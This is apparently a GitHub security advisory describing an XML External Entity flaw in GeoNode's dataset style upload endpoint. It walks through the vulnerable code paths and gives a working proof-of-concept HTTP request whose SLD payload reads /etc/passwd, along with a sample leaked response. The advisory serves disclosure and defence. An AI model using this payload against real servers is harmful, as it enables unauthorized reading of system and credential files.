GHSA-mcmc-c59m-pqq8

### Summary
GeoNode is vulnerable to an XML External Entity (XXE) injection in the style upload functionality of GeoServer leading to Arbitrary File Read.

### Details
GeoNode's GeoServer has the ability to upload new styles for datasets through the [`dataset_style_upload` view](https://github.com/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/urls.py#L70-L72).

```py
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/views.py#L158-L159
@login_required
def dataset_style_upload(request, layername):
def respond(*args, **kw):
kw['content_type'] = 'text/html'
return json_response(*args, **kw)
...
sld = request.FILES['sld'].read() # 1
sld_name = None
try:
# Check SLD is valid
...
sld_name = extract_name_from_sld(gs_catalog, sld, sld_file=request.FILES['sld']) # 2
except Exception as e:
respond(errors=f"The uploaded SLD file is not valid XML: {e}")
name = data.get('name') or sld_name
set_dataset_style(layer, data.get('title') or name, sld)
return respond(
body={
'success': True,
'style': data.get('title') or name, # 3
'updated': data['update']})
```

`dataset_style_upload` gets a user-provided file (`1`), pass it to `extract_name_from_sld` to extract an element from it (`2`) and return the former in the response (`3`).

```py
# https://github.dev/GeoNode/geonode/blob/99b0557da5c7db23c72ad39e466b88fe43edf82d/geonode/geoserver/helpers.py#L233-L234
def extract_name_from_sld(gs_catalog, sld, sld_file=None):
try:
if sld:
if isfile(sld):
with open(sld, "rb") as sld_file:
sld = sld_file.read() # 1
if isinstance(sld, str):
sld = sld.encode('utf-8')
dom = etree.XML(sld) # 2
...
named_dataset = dom.findall(
"{http://www.opengis.net/sld}NamedLayer")
el = None
if named_dataset and len(named_dataset) > 0:
user_style = named_dataset[0].findall("{http://www.opengis.net/sld}UserStyle")
if user_style and len(user_style) > 0:
el = user_style[0].findall("{http://www.opengis.net/sld}Name") # 3
...
return el[0].text # 4
```

`extract_name_from_sld` uses `sld` (which is a path to the provided file), reads it (`1`) and parses it with [`etree.XML`](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1312) in `2`. Since the former uses a [default XMLParser](https://github.com/python/cpython/blob/22d91c16bb03c3d87f53b5fee10325b876262a78/Lib/xml/etree/ElementTree.py#L1323-L1324), the parsing gets done with the [`resolve_entities` flag set to `True`](https://lxml.de/api/lxml.etree.XMLParser-class.html#:~:text=resolve_entities%3DTrue). Therefore, `dom` handles the parsed XML containing the resolved entity (`2`), gets `NamedLayer.UserStyle.Name` in `3` and returns the resolved content in `4`.

### PoC
1. Create a guest/non-privileged account and log in.
1. Upload a dataset through `/catalogue/#/upload/dataset` whose name we will be referencing as `<DATASET_NAME>`.
1. Send the following request that will try to upload a new style for the dataset. The response will be returning the resolved entity with the contents of `/etc/passwd`:

```
POST /gs/geonode:<DATASET_NAME>/style/upload HTTP/1.1
Host: localhost
Cookie: django_language=en-us; csrftoken=<CSRF-TOKEN>; sessionid=<SESSION-COOKIE>
X-Csrftoken: <CSRF-TOKEN>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfoo
Content-Length: 485
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="layerid"
1
------WebKitFormBoundaryfoo
Content-Disposition: form-data; name="sld"; filename="foo.sld"
Content-Type: application/octet-stream
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY ent SYSTEM "/etc/passwd" > ]>
<foo xmlns="http://www.opengis.net/sld">
<NamedLayer>
<UserStyle>
<Name>&ent;</Name>
</UserStyle>
</NamedLayer>
</foo>
------WebKitFormBoundaryfoo--
```

Sample response:

```
HTTP/1.1 200 OK
Server: nginx/1.23.2
...
{"success": true, "style": "root:x:0:0:root:/root:/bin/bash...", "updated": false}
```

### Impact
This issue may lead to authenticated `Arbitrary File Read`.